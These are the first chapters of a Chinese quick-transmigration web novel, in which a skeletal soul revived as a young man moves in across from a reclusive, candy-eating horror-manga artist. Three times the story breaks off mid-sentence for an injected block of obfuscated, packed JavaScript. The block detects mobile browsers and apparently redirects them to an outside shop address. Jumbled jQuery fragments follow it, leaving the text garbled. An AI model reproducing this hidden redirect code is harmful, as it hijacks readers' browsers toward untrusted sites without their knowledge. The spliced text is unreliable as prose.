《疯犬止咬病历[快穿]》
1. 楔子
黄泉路越往里走,环境越荒凉,如血的花只剩零星几朵,取而代之的是几枚碎铜钱。
铜钱皲裂灰败,白惨惨的,次第分布在焦黑的荒道上,放眼望去,仿佛落了一路凋颓的蕊。
路上,厉鬼嘶竭。
一青裳女童踩着业火,悬停在一枚铜币前,四周鬼怪对她视若无睹,径直从她身体穿过。
她低眉看了一眼,旋即走向深处。沿途铺盖的铜钱越来越多,密密麻麻,成百上千,像是堆积了大片雪白尸骸。
鬼影逐渐减少,远处隐隐浮现金色微光。
金光最盛处,便是尽头。
到了。
她停下脚步,入目的,是一座巨大的铜钱窟。
铜钱数不胜数,高不见顶,流光溢彩,亮到骇人。
窟里,埋着一个人。
叮叮当当。
几枚铜钱随风摇荡,其中一抹灼目的金顺着罅隙滚落、碰撞,声音清越,然后——绊倒在一节森白小指上。
那小指动了动,铜钱便绕了个弯儿,打了个转儿,当当当地从铜山跳下,碾过雪白失色的铜币,跌近业火,倒下。
叮叮。
与业火的距离只差一毫。
女童半悬着,足下的业火压到最低,火光映照镀金的铜钱,抹上血一般的色彩。
寒风带来远处的鬼哭声,仿佛在教唆什么。
女童开口:“我知道你醒了,就来找你。”
山窟耸动,骨头间摩擦出的模糊声音从铜钱堆内传出,窸窸窣窣,小指逐渐露出全貌。
手指的主人在这铜钱堆中扑腾,紧接着山头几枚随着动静往下蹦,不一会儿,满地铜钱中,现出一张鬼气森然的骷髅脸。
很白,像是上了釉的瓷,又像是浑然天成的玉,可惜骷髅空洞,泛着黑气,黑气汩汩地朝外淌着,快要将这身温润玉骨浸脏了。
是一具女子的骨架。
她上半身撑着铜钱堆,向前倾,破碎的黑袍滑到手肘处,掩住了埋在铜钱下的另一只手。
骷髅的肋骨间,扎着一根细长尖锐的法器,像是簪子,又像是一支笔,被黑气死死包裹,时不时透出猩红色,看不分明。
女童蹲下,随手拾起一枚雪白铜币,仰头对上那黑洞洞的视线:“你的铜钱要熄了。”
一鎏金铜钱突然爆出,浓重鬼气迎面压来,猛地停在女童鼻尖前,两股气劲无形中较量,暗潮汹涌。骷髅一动未动,脊骨悄然绷紧——
慢慢地,铜钱逐渐剥落金色外壳,变成和那人指间一模一样的,阴气森森的白。
叮!
碎了。
碎铜钱刚刚触到地面,便掀起一股气浪,红莲状的火焰逸散,失控的细密火舌将四周铜币卷入,白的化成了粉,金的褪成了白,远
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094002|195576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处鬼影似有所觉抬头,瞬间呆滞,刹那寂静。
业火再度恢复平静,甚至愈加温和。
骷髅,依旧坐在原处。
女童笑了笑,两颊边的红痣漩在酒窝里,仿佛两粒明火。
她不慌不忙用袖子拂开粉尘,道:
“当年你来这里的时候,就该想到有这一天。”
骷髅不答话,骨头间摩擦的声音变得格外响。
“如今,只有我能帮你。”
沉默。
长久的沉默。
空气中响起嘶哑变调的声音:“你是谁?”
女童皱眉,叹息如羽毛般落人肩上:“你可以叫我三三。”
“你呢?还记得自己名字?”
骷髅不说话了,周边流淌的黑气也变得缓慢,胸口扎穿处的猩红越来越浓。
“我……姓崔。”
单单说出个姓氏,便搜肠刮肚般艰难。
“名……”
“名……”
她想不起来了,盛着黑气的眼神越发空泛。
那只埋在铜钱堆里的手动了动,似乎在摸索什么——是一把破旧的黑金扇子,扇锋锐利,扇面血迹斑斑,开合刹那,流泄出一股山海般横冲直撞的杀气。
“相逢。”
骷髅低头不断摩挲折扇扇柄处,默念出声:
“我叫崔相逢。”
2. 漫画大触(1)
窄黑的巷,摇晃的路灯,逃亡者拖着残腿跌跌撞撞,最终滑倒在一个易拉罐上。
灯光将他的脸照得惨白。
“别……求你……对不起……我,我错了!”
眼前的人离他十步远,逆着光,手里把玩着一蝴蝶/刀,慢条斯理地避开沿途血迹,朝他一步步走近。
脚步轻得像幽灵。
很热,空中弥漫着一股属于夏季的潮湿又闷热的气息。地上的人已经汗流浃背,可她穿着带兜帽的纯黑卫衣,仿佛完全感受不到温度。
血液不断淌着,隐入乱糟糟的夜色,差点抵到狩猎者的鞋尖。
“求求你……求求你……”猎物苟延残喘,抖如筛糠。
她咀嚼了一下。
糖的味道淡了,该结束了。
流畅的刀身在月色下划出犀利的流光,让人不经意间看见那人兜帽下粉白的唇。
她吹出了个不大不小的泡泡。
噗。泡泡还未完全成形,就被舐回齿间,咬破了。
“啊啊!救命!”
她躬身:“嘘。”
最后一个。
……
虚幻中最后一眼,是一把利刃扎进那个可怜人的肚腹,血液溅出了活色生香的花儿。
戴着兜帽的人格外嫌弃地“啧”了一声:
“好脏。”
然后,大片陌生的东西挤进脑海。
耳畔传来非常喧闹的声音——
“他死了没?”
“这钢筋也太吓人了!”
“哎呀,最近出意外的人咋那么多……真是晦气。”
“就是就是,以后出门得小心点。”
“打120了没?120呢?”
120?似乎是这里的医疗救护电话。
叽叽喳喳中,突然有人发现,地上的人动了。
“诶!醒了!”
黑发少年微微睁眼,机械般地转头,目光在颈侧停驻了片刻,颈侧的钢筋直挺挺扎进地表,外部的螺旋花纹压着他的皮肤,弄破了衬衫领口。他动了动瞳孔,上方是乌泱泱的围观人群。
崔相逢支起胳膊,撑着地起身,动作极慢,很不协调,仿佛刚长出来四肢,还不太会用。
“小伙子,你……你没事吧?”
那张隽秀的脸格外引人注目,不多时,围观群众又堵了几层。
他摸了摸脖子,破了点皮,有些疼。
然后拉扯起面部肌肉:“谢谢,我没事。”
语调略显怪异,表情也僵硬,别人当他是死里逃生,一时没调整过来。
看热闹的一哄而散。
记忆和情感完全融合,那张脸上有了几丝活人的光彩,长期在寒意中浸泡的骨头再次被生肉包裹,久违地让人感受到温暖。
终于有了身体,尽管这堆肉堆出的是个男人。
几分钟前,一根钢筋从高楼滑下,与他的脑袋擦肩而过,紧贴着脖子扎进水泥地。
他侧了侧头:“三三。”
声音恢复正常,是极清冽的少年音。
识海中的东西回应道:“任务开始。”
他一边消化原身的记忆,一边思考所谓的任务——他要勾引一个人。
眼前似乎又浮现那把沾血的蝴蝶/刀。
原主是父母从孤儿院领养的,这件事他一年前才知道。
那年原主父母出差时发生意外,失血过多,他跑到医院照顾,也就是那个时候,他发现他们的血型都是A型,而他自己是B型。
再后来,他在他们的房间找到了领养证。
原主选择把这个秘密藏起来,装作什么都没发生。
好像幼年时,他们确实有在寻找一个弄丢了的姐姐,不过渐渐地,他们不找了,他也就跟着没当回事。
反正,本来就和他没关系。
但是——
前几天,原主在父亲书房看见了一封邮件,发过来有三天,父亲已读不回。
对方说:“我知道您女儿的下落。”
父亲还没回来,他鬼使神差地发出去两个字,手指敲到键盘时,还在颤抖:
“在吗?”
过了三分钟,对方发来一个——句号。
原主犹豫了一番,终究是斗不过自己的好奇心,便顺势问:“她在哪里?”
非亲生的身份一直让他很膈应,而一个还存在的姐姐,更让他有种未知的危机感。
对方竟然答了,没有任何套路,只是很普通的地址,甚至地址都很安全。
“天堂公寓404。”
富人区的公寓,他只要在房间号对面住几天,就有机会知道对方长什么样。
只要知道她的样子就好。
如果她过得很好,应该不会和自己抢吧……
他将双方联系的证据都删了,来的路上也没告诉任何人,知道他们亲生女儿的下落后,原主一直惴惴不安,再被施工建筑上掉下来的钢筋一吓,直接就去世了。
崔相逢脑中还留着原主的死前记忆,钢筋是直冲着脑门来的,一眼就能联想到被贯穿的结局。
幸好,扎偏了。
如果扎穿这具身体的喉结,就不美观了。
崔相逢打开手机,直接联系天堂公寓,将404对面那间租了四年。
整场线上交易进行得异常顺利。
而刚刚恰好的是,从公寓走到他要上的大学,也就十几分钟。
任务的期限是什么来着?哦,直到她死。
祝她活得久一点。
出发前,他整了整破了的衬衫领子,忽然想到什么,给记忆中的邮箱地址发了条消息:
“你是谁?”
又是三分钟,又是熟悉的——句号。
可是,这回他可没用他爸的账号。
小崔挑了下眉,眼神若有所思。
转眼,就到了目的地。
摆好微笑,抬起手,准备敲门——
几乎同时,门开了。
空调的寒气顺着门缝攀爬到他身上,他的笑容随着缝隙的变化开始夸大,然后,僵硬。
一股极冷冽的香,很淡,几不可闻,却透入骨髓,一瞬间,胸口传来钝痛。
疼……
怎么回事?
明明——他已经有了新的身体……
五感削弱,眼前糊成一团,但他知道对面人的存在——她没发出声音,只是静静地,冷眼旁观。
你和扎我胸口那玩意,是什么关系——
一滴汗坠下,声音被强制按了暂停。
不能问。
他攥着门框,极力稳住身形,试图定位人影——
噗通,他倒在地上。
“低血糖?”声音和地板一样,冷冷的。
心脏处的钝痛牵动全身,他蜷缩在地上,几个喘息过后,才勉强能看清东西。
一只手,很白,是许久未见阳光,病态脆弱的白,很瘦,指骨修长,骨节清晰,漂亮得惊人,她的掌心上方躺着一颗糖,粉色的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094003|195576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
指甲盖一样的粉。
手的主人穿着一件宽大的兔子睡袍,戴着兜帽,眉眼疏冷,居高临下地看着他。
眸子像两潭沉静的死水。
心脏扑通扑通地,更疼了……
他忍下疼痛,从地上撑起,露出微红的脖子,一副虚弱的模样,有气无力:
“可以扶我一下吗?”
“姐姐?”
声音微哑,有种少年人独特的软沙。
那道冰凉的目光略过地上这具生物的领口,在他脖颈的破皮处停了几秒——那处的头发被冷汗濡湿,有几根就贴在伤口边缘。
她最后看向他撑在地面的双手,皱眉。
她决定提起他的领子。
失重感顿生,崔相逢刚被单手提起时,甚至腿软,差点扑到她的身上,所幸及时抓住门框。
呼吸刚好掠过她颈间,他又闻到那股极冷的香,这回的香却让他感觉清明,他再想闻,却闻不到了。
消失了。
——三三,这是怎么回事?
——身体排异,正常
啊,原来是正常的吗……
他细细喘着气,面色苍白得要死,眼睛定定看向她掌心——
他在提醒她,糖忘了给了。
睫毛还有几分心有余悸的湿。
她面无表情,语气一本正经:“手脏。”
他的手脏。
“喂我。”
脱口而出,仿佛理所当然,空气凝滞了几分。
好像有被喂闭门羹的风险。
几秒钟的时间如此漫长,终于,那道冷淡的嗓音命令他:“张嘴。”
他乖乖地,唇瓣一开,糖就扔了进来。
超甜。
“不要咽下去。”
他咬了一下,是草莓味的泡泡糖。
“来碰瓷的?”
崔相逢这才胡诌自己的台词:“听说这层就你一个邻居,我来打声招呼……我叫崔相逢,住你对面。”
“哦,不是碰瓷的。”
“当然不是。”
话题在这里中断,两人各站在门的两边,却没有结束的意思,正前方的空调寒气不断往外侵袭,温度低得像在冬天,裸露的皮肤已经忍不住起了小疙瘩。
他再次开口:“我可不可以,知道一下你的名字?”
他凝神观察对面神色,可对方的表情无懈可击,仿佛天生一副冷脸。
“许鲸,鲸鱼的鲸。”她抬眼看他,“以后,叫我许鲸就好。”
许鲸,有点耳熟。
“许鲸——姐姐?”他有意试探。
她皱眉了。明显是对那两个多余的字眼不满。
崔相逢扬起唇,立马道:“许鲸,再见。”
到自己房间门前,他停下脚步,又回头偷看。
许鲸还没进去。
她垂着眼,松懒地倚在门框上,有一下没一下地咀嚼口中的糖,然后——吹出个泡泡,淡粉色的。
兜帽罩住她大半的脸,头顶的灯光又亮又凉,她恰到好处地融入阴影,浑身都写着生人勿近,连皮肤都是不近人情的冷白——只有眼睑下那层代表着疲惫的淡色黑眼圈,给人一种拉近距离的倦怠感。
让他想起故事里戴着兜帽的死神,不过这个死神的工作服不是黑色斗篷,是一件白色软绒的兔子睡袍。
死神抬眸,那双乌黑的瞳仁直勾勾地盯着他。
他没有躲避目光,回了个微笑。
噗。泡泡被咬破了。
3. 漫画大触(2)
许鲸。
输入这两个字,最先出来的关联词是——《魇之都》。
一部恐怖漫画。
四年前它横空出世,便稳站国内畅销榜一,风靡海内外。
它的创作者从未接受任何线下活动,年龄性别一切成谜,也鲜少有人会把她的笔名和真名联系在一起。
曾有黑客试图攻击漫画平台,找出许鲸的个人信息,结果,反而以自己电脑报废告终。平台仅仅是闭站维修了几小时,没有任何损失。
原主是个现充,对这个名字脑子里只有个印象。
许鲸没有社交账号,工作室倒是有——鲸鱼工作室,头像是一朵小水花。
工作室只有一条置顶——更新时间从一周更变为两周更。
评论区怨声载道。
崔相逢整理完所有单行本已经是晚上十点。
原主的作息非常健康,他摊开书准备翻阅,电脑上的数字刚变成十点零一,瞌睡虫就迫不及待要压他眼皮。
桌面传来电话铃声,薄薄的桃花瓣似的眼打了个颤儿,眸子映出来电备注:妈。
随手接起,放耳边,动作间耳垂一阵凉意,仿佛有风在吹。
空调开太低了?
他揉了揉耳朵,有一搭没一搭地应。
软风沿着他白皙柔软的脖子,触上他今天刚添的伤口,那里正贴着公寓医疗箱里的卡通创口贴——淡粉的。
伤口处的软肉不自觉瑟缩。
痒痒的。
“……一个人在外面住,要多注意安全……”
“……妈看新闻上那些意外事故老多了,心里头不踏实,要是外面实在住不下去,你就老老实实回家……”
“……要不把家里保姆给你送过去?”
原主爸妈还真是把他这个养子当亲生的娇生惯养,一点苦都舍不得让他受。
要不是那次意外,谁敢信他们不是一家人……
滴——
眼前骤然一黑,电话那头的声音依旧叽里咕噜。
欠费了?
“好了好了妈,我要睡了,晚安。”
他边应付他妈边打开小程序查看欠费情况——还剩十块钱。
十块钱就停电,这么急。
充了电费,灯还是没亮,估计是延迟中,得等一会儿。
结束通话。
电脑恰到好处熄屏,空调只是一会儿不运作,周围便闷了起来。
好黑。
凉意从耳垂转移到背后。
手虚虚往后靠,只靠到一坨温软空气。
又打了个哈欠,估计今天也不可能看完漫画,他干脆回卧室,借着手机的光,一步,两步,三步——
哗啦啦——
不知踩到什么,他摔到了书架。
今天刚排上去的书齐刷刷砸他身上,后脑壳撞到椅背,痛得他睡意都醒了几分。
小崔懵了,不明所以,他起身半支着地面,盯着不知什么时候滚到地板上碍脚的杯子,陷入沉思。
水逆?
分针又过了几格,困意卷土重来。
崔相逢随手摸起一本漫画,打了个哈欠。
借着微弱的月光,依稀能看清封面,封面上的主角经常出没在各处大型商场。
揉了揉捏了捏,他思索起拿它当枕头的可行性。
身后,电脑屏幕亮了。
他在拾掇漫画书。
整理时碰到椅子,椅子咯吱一声,不知道什么东西触到鼠标,微博界面突然刷新,在他转身瞬间,眼前又更新了一条微博——并且置顶:
勾线助理,线上工作,可兼职,只招一个。
要求:随便。
灯光适时亮起。
小时候,原主被砸了不少钱培养艺术细胞,虽然没砸出什么天赋,好歹也比普通人多了几分底子。
小崔打起精神,放好书后,便将原主以前的作品打包了过去。
发送成功。
应当是结束了,他站起来将椅子轻轻往后移,仔仔细细环顾四周,确定没什么障碍物,才松了口气。
一步,两步……
这次回卧室的过程非常顺利。
在他走之后,微博的评论以迅雷不及掩耳的速度涨到了千加。
“不愧是大佬,招聘都这么有个性,随便,嘿嘿。”
“这不得凑个热闹试试,万一被选上了那不就可以近距离催更了?”
“现场观摩学习一下大佬技术也不错啊,谁要是加上好友问问是男是女呗!”
“这还是大佬第一次招人诶,肝帝也有力不从心的一天——”
“说不定是社畜,上班忙没时间画了。”
“万一我和大佬看对眼了呢?嘿嘿嘿嘿嘿……”
#许鲸.随便#这一条就这么上了热搜。
实时还有不少画手自荐,粉丝体量大的小的都有,带上tag挂上作品,既凑了热闹也涨了粉,可没想到,这波热度还没过多久,工作室又更新一条微博:
找到了。
评论区炸了。
“???这才多久?有内幕吧,半小时没到。”
“没看到消息的人不是很亏……”
“谁啊,这么对大佬胃口。”
“说不定也是一位大佬?”
“现在也没人认领啊。”
“到底是谁啊,这么快……”
“滚出来滚出来滚出来滚出来滚出来。”
“高价收许鲸助理位置。”
于是,助理这一块又一齐冲上了热搜,今晚文娱榜的第一居然是个画漫画的。
早上六点。
崔相逢睡眼惺忪地打开微信,对着刚加上的漫画工作室,皱起了眉。
招聘的热度持续到今早,微博上一直热热闹闹的,崔相逢刷着实时广场上一堆寻人启事,略微汗颜。
好奇怪哦,怎么感觉自己受之有愧。
工作室发来了草稿。
小崔用鼠标对着电脑划拉了几下后,打开聊天框:我要加许鲸微信。
工作室:……我问问。
过了不久,许鲸的名片便发过来了。
很顺,顺得像对方故意的。
把他当鱼在钓……
“早”
“嗯。”
……
……
写写删删,崔相逢一直显示正在输入中。
“有想好笔名吗?还是直接原名?”
输入中被打断:“您是原名还是——”
双方都是客客气气的。
“原名。”
就这么告诉他了。
“好巧,住我对面的人也叫这个名字。”
——“嗯。”
……
“看过这部漫画吗?”
“面对面沟通一下?第一次,不是很懂。”
崔相逢已经钻进衣柜,从最底下扯出了一件冬季睡衣。
此时的许鲸还没意识到他的面对面是什么意思。
“没看过?”
“没。”
又找了一双新拖鞋。
“……怎么还投简历?”
“打暑假工。”
紧接着许鲸看见对方发来下一句话:“我好像到门口了。”
就是这么猝不及防,单刀直入。
手机里的另一个人没回消息。
另一个人顿了顿,放下手中的笔,缓慢地从工作台上爬起,将自己挪到了门边。
透过猫眼——对面的眸子灰亮,笑得恬不知耻。
许鲸眯了眯眼,她这时候才注意到,这家伙长着一对很嚣张尖锐的虎牙。
“打扰一下。”
他说话了,手即将碰到门——
咔哒。
门开了。
冷气倾巢而出,她立在门内,脸色沉沉。
漆色的瞳仁与他目光相触,一动不动,没有半点浮波——黑眼圈貌似比之前更重了。
这回是咬着一根棒棒糖。
只能看到白色的小棍,看不清糖有没有全化。
咯嚓。
糖咬碎的声音。
他佯装关心:“不怕蛀牙吗许鲸老师?”
“门口谈?”
“我想进去。”
“……”
“难道不是因为距离才选我的吗?”
不然,除了近,还能是什么。
他装作懵懂的样子,连理由都给她找好了。
至于实际上是为什么谁知道呢。
不在乎。
许鲸的目光将他从上到下扫了一遍——怀里抱着平板,脚上一双拖鞋,手里还提着一双。
装备齐全。
崔相逢故意将有鞋的那只手抬高了些许,眼神有点小得意。
区区洁癖……
他其实怀疑许鲸门口有监控,不然为什么每次手还没碰到门她就开了?不就是嫌他的手脏。
“进来。”
许鲸的住处可以说是家徒四壁,冷白的墙壁冷白的瓷砖,没什么多余的东西。
空调依旧是最低,进来前崔相
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094004|195576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逢做足了准备,专门穿上冬天的睡衣,还是忍不住打了个哆嗦。
她家的空调制冷效果真好。
地上只有扫地机器人,跟只狗一样亦步亦趋,像是把他当成了脏东西。
小崔有点想用后脚跟踢它。
房间里随处可见的是糖,什么糖都有,糖纸的颜色漂亮,闪闪的,给这鬼地方加了些人气。
现在这个时间点天早就亮了,她家窗帘闭得紧紧的,屋内亮着灯,分不清昼夜。
许鲸坐沙发上,他顺势想坐旁边。
“你坐地上。”她冷冷丢下一句。
“为什么?”
她皱眉,思忖了些许,勉为其难编出个一听就假的借口:
“地上干净。”
跟在他脚跟后的扫地机器人嗡嗡,仿佛是对主人的话给予肯定。
小崔怀疑是嫌弃他脏。
“地上凉,我要毯子。”
她瞥了他一眼。
崔相逢继续瞎编:“我今天来大姨夫,不能着凉。”
她顿了一顿,说话了:“怎么,你会宫寒?”
“我心寒。”
他抬眼,眨巴眨巴,装得委屈巴巴。
许鲸肉眼可见得眼皮抽了一下。
她从卧室拿了一条周边毯子,劈头盖脸扔他身上,垂着眸子:“热水喝不喝。”
“空调开高点行不行。”
“不行。”
不行就不行。
崔相逢打起地铺,背靠沙发正对茶几。
他侧过头:“指导一下?”
某人抱着个枕头半卧沙发上,巨大的帽檐盖着她的脑袋,声音闷闷的:“你先勾一页。”
帽子上的一只兔耳朵顺着重力下垂,掩着一侧脸颊,她下半张脸几乎埋在枕头内,整个人只露出一双疲倦的眼睛和几缕头发。
许鲸的草稿精细度堪比成稿,笔触灵逸奇诡,寥寥几笔就是一个生动场景,崔相逢甚至觉得这些草稿没必要有什么特别的改动。
这么一想他的活挺轻松。
许鲸的角度刚好能看见他画的内容。
房间里安静得只剩两个人的呼吸声,还有扫地机器人的嗡嗡。
她用舌尖将糖果抵到了另一侧。
工作台在卧室……现在抽不开身……
“想好署名了吗?”
二十年来,今天算是她找人搭话最多的一天。
“直接署名小崔吧。”
“原名挺好……”
“……谢谢。”
崔相逢察觉到对方貌似还想问什么,但又没问。
“你是美术生?”
应该不是想问这个。
“不,以前家里给我请过很多老师。”他随口应,“被逼着练的。”
她不说话了,崔相逢能感觉到她的目光虚虚落在他后头。
他稍稍侧过头,借用余光看了一眼。
许鲸的下巴漫不经心地蹭着枕头,整个人蜷着,像个带着冰碴的毛绒球。
那只兔耳朵因为动作垂到了脖子,落在肩上,白色糖棒沿着她淡粉的唇变换位置。
他移开目光,专心对付笔下。
许久,都没听见后面传来声音。
早上七点,他画完一页,转身给她看,人已经睡着了。
嘴里还含着那根棒棒糖。
这么久,糖早该化了吧。
睡得死吗?
有点手痒。
他悄悄上前,轻轻捏住棒棒糖尾端,许鲸的睫毛随着手指的动作拨动了一下,他打住了——
没醒。
睫毛很长。
细细的,翘翘的,黑眼圈黑黑的——
通宵了。
毕竟现在除了老人和社畜,很少有人能做到像原主一样六点早起——熬到六点还差不多。
按照常理,他是不是该给她盖毯子?
崔相逢看了一眼地上被他屁股玷污得皱巴巴的小毯,立马否决了这个方案。
他迅速将糖抽了出来,转头对上那蓄势待发的扫地机器人晃了晃,挑了挑眉:
“喂,你要吃吗?”
扫地机器人在他身前诡异地呆了一下。
他笑了一下:“切,不给你吃。”
转身扔进垃圾桶。
临走前,崔相逢抓了一把茶几上的糖,对着沙发上的人挥了挥手:“晚安晚安。”
然后顺走了地上的毯子,顺其自然留下自己的拖鞋。
连吃带拿,美名其曰:
一物换一物。
4. 漫画大触(3)
下午五点,醒了。
她眼睫动了动,察觉嘴里少了点东西。
侧了侧脑袋,余光瞥见垃圾桶——哦,在那里呆着。
……糖被偷了不少。
许鲸支起身,又捡起一枚,舌尖将它抵到腮帮。
她的颊边鼓起来个小包。
酸酸涩涩,柠檬味的。
许鲸静静坐在沙发上,等待糖分浸润她的喉咙。
扫地机器人一刻不停地巡视领地,在许鲸醒来时,便围着沙发一圈一圈地绕,直至抵到那细瘦苍白的脚踝。
她原本放空的视线落在了它身上。
嗡嗡。
机器人自个儿转了个圈,扭着十八弯的路线到达门口。许鲸刚好能看见一双多出来的拖鞋。
她目光回到身前,原本铺在地上的毯子也没了。
微信有一条未读消息,是那个人的。
他发来了今天勾好的文件。
许鲸没看,回忆了一下,点评了一个字:
“好。”
给他的那些草稿都是她已经完成的部分,只是还存着没发。
他画成什么样都无伤大雅。
该工作了。
岑寂的房间响起拖鞋和地面亲密接触的脚步声,方向通往卧室,此时微信又传来消息提示音。
她的脚步声顿了一下。
“可以借用一会会厨房吗?”
又来。
早上刚醒的时候被他粘着,现在估摸还是逃不开。
招他的时候,她也没想到这个人会这么——粘人。
可能只是新鲜感。
她好奇这次的理由。
“刀坏了。”
他发来一张刀柄断掉的照片。
“可以送你一把。”
言外之意是人别来,领地被入侵的感觉不太好。
“可是锅也坏了「小狗哭泣」。”
像是早有预备一样,他又发来一张照片。
锅像是被什么重物暴力地砸了一下,中间凹出了个洞。
能把厨具破坏成这样,真是能耐。
看来下午也是非要来了。
想了想,她回道:
“记得收拾干净。”
于是,小崔抱着一堆食材,轻车熟路换了拖鞋,和之前程序不一样的是,这次许鲸后退一步,和他隔着不远不近的距离,小崔用背轻轻一推就把门关了。
扫地机器人看见他就跟狗看见了骨头似的,和背后灵一样跟在他身后,他马上进了厨房,把机器人关在门外。
没过多久,他忽然又冒出头,和客厅里的干站着的许鲸面面相觑。
“怎么了?”
“你——你就一直站这?”
那我走?
许鲸有点不明白她这个主人站她的房间妨碍到他什么?
两人相互对视了一会儿,那双灰亮的眸子扑棱乱闪,不知在做什么聪明的打算。
结果终究是许鲸让了一步,她背过身,在崔相逢的视线中,走进卧室,咯哒,上锁。
崔相逢见门关了,马上缩回去打开做菜教程。
厨房和客厅毕竟离得近,周围又那么安静,他就怕视频一放声音,就被许鲸听见了。
……怪羞耻的。
破坏厨具他挺拿手,做饭还真是一窍不通,毕竟原主被家里宠惯了。
奇怪的是,就连他这个厨房小白都能看出,这个所谓的厨房一点使用痕迹都没有。
如果这个房子不是有许鲸,他压根就不会觉得有人住。
嗡嗡。
门外的机器人想进去。
小崔在脑子里又补充了一句:哦,还有机器人可以住。
冰箱里就面包,水,和洗一下就能吃的水果,又是一大堆糖,甚至还有压缩饼干。
活得像是在末日时期。
她平时不做饭吗?
就吃这些?
还是吃的外卖?
崔相逢边搜刮厨房里的东西边吐槽——
调味品甚至还没拆封……
最后他打开教程视频——《智障都会的家常菜菜谱》。
“炒西红柿时可以放适量盐……”
“适量盐……”他嘴里默默跟着念,然后凭借直觉将刚撕开的盐袋倒了下去。
“加入一小勺水……”
他接了一勺,后期感觉水太多了,就多煮了一会儿。
成品——小崔对比了一下买家秀和卖家秀,自己炒的鸡蛋黑是黑了点,不过闻起来挺香。
在厨房捣鼓了半小时,他捣鼓出了两个菜。
走出厨房,崔相逢就看见许鲸倚着卧室的门,歪着脑袋,嘴里咬着糖,好整以暇地看着他,不知站了多久……
……应该没听见吧。
他别过眼,不看她,将自己的饭菜端上许鲸的餐桌。
“你还要在我家吃饭?”她的语调很平和,没什么情绪起伏,问句只是单纯的问句。
“你也可以在我家吃饭啊。”小崔特地盛了两碗,“一起?”
不一起他把两碗全吃了。
许鲸挑眉:“谁洗碗?”
他接道:“我。”
他帮她拉开椅子。
崔相逢刚看了攻略,主动给对方做饭,可以提升好感。
原主高中时,坐前面的小情侣就经常互相带便当,高中生都会的东西,想来不难,他便囫囵先上了。
但是——
小崔尝了一口,番茄咸咸的水不拉几,也不知道是原主舌头养刁了还是这菜本来就难吃,他尝了几口就有点吃不下。
难道是教程的原因?
小崔想了又想,自动说服自己,智障做的教程不能指望它好吃,下次他要搜天才做菜教程。
但是,主动给对方做难吃的饭,能提升好感吗?
他偷瞄了一眼许鲸,许鲸吃得面不改色。
她夹了一小块鸡蛋,小崔跟着夹了一块,他有点侥幸心理,兴许这块鸡蛋好吃点呢?
结果,很咸,甚至还发苦。
他又猛得扒拉了好几口米饭。
菜没吃几口,米饭却很快见底了。
小崔放下碗筷,杵着脑袋,肉眼可见的萎靡。
他高看自己了。
许鲸吃得很小口,很规矩,像是怕把睡衣弄脏了,每一口都送得很慢。
她貌似是要光盘。
崔相逢怀疑地问:“好吃吗?”
“能吃。”
明显的给个面子。
崔相逢想,早知道自己做的饭这么难以入口,就点个外卖冒充一下了。
就在他胡思乱想的那几分钟,许鲸已经光盘了。
她吃下碗里最后一粒米,看了他几秒,平静地评价:
“好吃。”
“真的嘛……”
她提醒:“洗碗。”
“哦。”这个字转了个蔫不拉几的音。
碗放进水槽,挤了很多洗洁精,四个碗反复清洗了五遍。
水声哗哗中,许鲸不知不觉走到他身后,接过崔相逢手中的碗。
她把袖子挽了起来,细瘦的腕全然地暴露在他的视野,手背上的淡青色的血脉绕过性感的一节凸起,水花溅在白瓷手臂上,晶莹剔透,仿佛上了高光。
好看。
“我不怎么做饭,就没买洗碗机。”她说。
仿佛是在表达要让他亲自洗碗的歉意。
小崔从眼前的白中回过神。
“那你之前是吃外卖?”
“……也不常吃。”她将手中的碗过了一遍水,递给崔相逢,“你在家没洗过碗吧。”
“确实……”
“你的父母对你很好。”
这是陈述句。
“家人大概都是这样。”他又接过一口碗,让人心虚的是,他的家人实际上是许鲸的家人——她现在有家人吗?
万一和原主一样,被收养了呢?
“你一个人住外面,都不怎么吃饭,家人肯定会担心吧……我妈昨天一直给我打电话叮嘱这叮嘱那的……。”
许鲸手上的动作停了,她仰了仰头,仿佛在思索什么事情,半晌才说:
“我家里人好像都死了。”
水一直静静地流。
半个家人·崔:“啊?怎么死的?”
“不知道啊。”她回过眸子,似笑非笑看着他,仿佛想欣赏他不小心得罪人的慌乱样,“好像是两岁的时候。”
两岁,原主姐姐就是在两岁失踪的。
如果她失踪这段时间一直没有找到人收养,能活到现在,甚至被这么多人追捧,真的是个奇迹。
小崔找补着说:“……你现在也不缺家人。”
“比如?”
“催更的那一群。”
那群人为了更新甚至愿意当孙子,要是能当上许鲸的赛博爹妈,尾巴不得翘上天。
“你呢?”
他对上许鲸那双涔冷的眸子。
“……我也是。”
小崔在寻思许鲸要是想的话,他叫声妈妈或者爸爸都未尝不可。
